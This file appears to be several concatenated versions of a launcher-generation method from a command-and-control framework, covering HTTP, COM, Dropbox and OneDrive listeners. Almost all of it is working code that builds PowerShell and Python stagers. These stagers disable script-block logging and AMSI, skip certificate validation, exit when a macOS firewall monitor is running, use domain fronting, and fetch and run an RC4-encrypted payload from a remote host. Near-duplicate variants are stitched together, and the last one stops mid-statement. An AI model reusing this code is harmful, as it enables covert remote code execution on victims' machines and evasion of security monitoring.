def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_com generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization( "$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization( "$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a header location stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser='%s';$t='%s';" % (host, stage0) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % ( b64RoutingPacket) stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) else: print helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] # host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # add in the Dropbox auth token and API params stager += "$t='%s';" % (apiToken) stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Authorization\",\"Bearer $t\");" stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder) stager += helpers.randomize_capitalization("$data=$WC.DownloadData('") stager += "https://content.dropboxapi.com/2/files/download');" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager elif language.startswith('py'): launcherBase = 'import sys;' # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "t='%s';" % (apiToken) launcherBase += "server='https://content.dropboxapi.com/2/files/download';" launcherBase += "req=urllib2.Request(server);\n" launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);" launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder) launcherBase += "if urllib2.getproxies():\n" launcherBase += " o = urllib2.build_opener();\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" launcherBase += " urllib2.install_opener(o);\n" launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False, ETWBypass=False): """ Generate a basic launcher for the specified listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() if ETWBypass: stager += bypasses.ETWBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("K") + "=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$' + helpers.generate_random_script_var_name("K") + '=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' + helpers.generate_random_script_var_name("K") + '[$_%$' + helpers.generate_random_script_var_name("K") + '.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser=" + helpers.obfuscate_call_home_address( host) + ";$t='" + stage0 + "';" # add the RC4 packet to a header location stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) # Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True stager += "`r`n%s: %s" % (headerKey, headerValue) stager += "\";" # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization( "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" ) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$" + helpers.generate_random_script_var_name("K") + ")) | IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" ))
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/dbx generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] # host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % ( baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % ( baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization( "$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization( "$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # add in the Dropbox auth token and API params stager += "$t='%s';" % (apiToken) stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Authorization\",\"Bearer $t\");" stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % ( stagingFolder) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData('") stager += "https://content.dropboxapi.com/2/files/download');" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager elif language.startswith('py'): launcherBase = 'import sys;' # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "t='%s';" % (apiToken) launcherBase += "server='https://content.dropboxapi.com/2/files/download';" launcherBase += "req=urllib2.Request(server);\n" launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);" launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % ( stagingFolder) launcherBase += "if urllib2.getproxies():\n" launcherBase += " o = urllib2.build_opener();\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" launcherBase += " urllib2.install_opener(o);\n" launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/dbx generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False, ETWBypass=False): if not language: print( helpers.color( "[!] listeners/onedrive generate_launcher(): No language specified" )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): listener_options = self.mainMenu.listeners.activeListeners[ listenerName]['options'] staging_key = listener_options['StagingKey']['Value'] profile = listener_options['DefaultProfile']['Value'] launcher_cmd = listener_options['Launcher']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] base_folder = listener_options['BaseFolder']['Value'].strip("/") staging_folder = listener_options['StagingFolder']['Value'] taskings_folder = listener_options['TaskingsFolder']['Value'] results_folder = listener_options['ResultsFolder']['Value'] if language.startswith("power"): launcher = "$ErrorActionPreference = 'SilentlyContinue';" # Set as empty string for debugging if safeChecks.lower() == 'true': launcher = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: launcher += bypasses.scriptBlockLogBypass() if ETWBypass: launcher += bypasses.ETWBypass() # @mattifestation's AMSI bypass if AMSIBypass: launcher += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: launcher += bypasses.AMSIBypass2() launcher += "};" launcher += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) launcher += helpers.randomize_capitalization( "$wc=New-Object SYstem.Net.WebClient;") if userAgent.lower() == 'default': profile = listener_options['DefaultProfile']['Value'] userAgent = profile.split("|")[1] launcher += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': launcher += helpers.randomize_capitalization( "$wc.Headers.Add(") launcher += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': launcher += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: launcher += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") launcher += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") launcher += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": launcher += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] launcher += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" launcher += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") launcher += "$Script:Proxy = $wc.Proxy;" # code to turn the key string into a byte array launcher += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") launcher += ("'%s');" % staging_key) # this is the minimized RC4 launcher code from rc4.ps1 launcher += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) launcher += helpers.randomize_capitalization( "$data=$wc.DownloadData('") launcher += self.mainMenu.listeners.activeListeners[ listenerName]['stager_url'] launcher += helpers.randomize_capitalization( "');$iv=$data[0..3];$data=$data[4..$data.length];") launcher += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: launcher = helpers.obfuscate( self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(launcher, launcher_cmd) else: return launcher if language.startswith("pyth"): print( helpers.color( "[!] listeners/onedrive generate_launcher(): Python agent not implimented yet" )) return "python not implimented yet" else: print( helpers.color( "[!] listeners/onedrive generate_launcher(): invalid listener name" ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").GetValue($null);If($GPS") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPS") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPS") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") #save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $wc.Proxy;" # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += 